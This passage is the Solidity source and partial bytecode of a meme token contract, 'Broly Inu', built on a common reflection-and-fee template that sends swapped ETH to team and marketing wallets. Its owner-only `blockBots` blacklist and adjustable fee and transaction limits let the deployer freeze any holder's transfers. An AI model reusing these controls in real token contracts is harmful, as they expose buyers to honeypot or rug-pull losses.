function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BrolyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Broly Inu | t.me/brolyinu";
string private constant _symbol = "BROLY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601981526020017f42726f6c7920496e75207c20742e6d652f62726f6c79696e7500000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f42524f4c59000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6000600881905550600f600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b602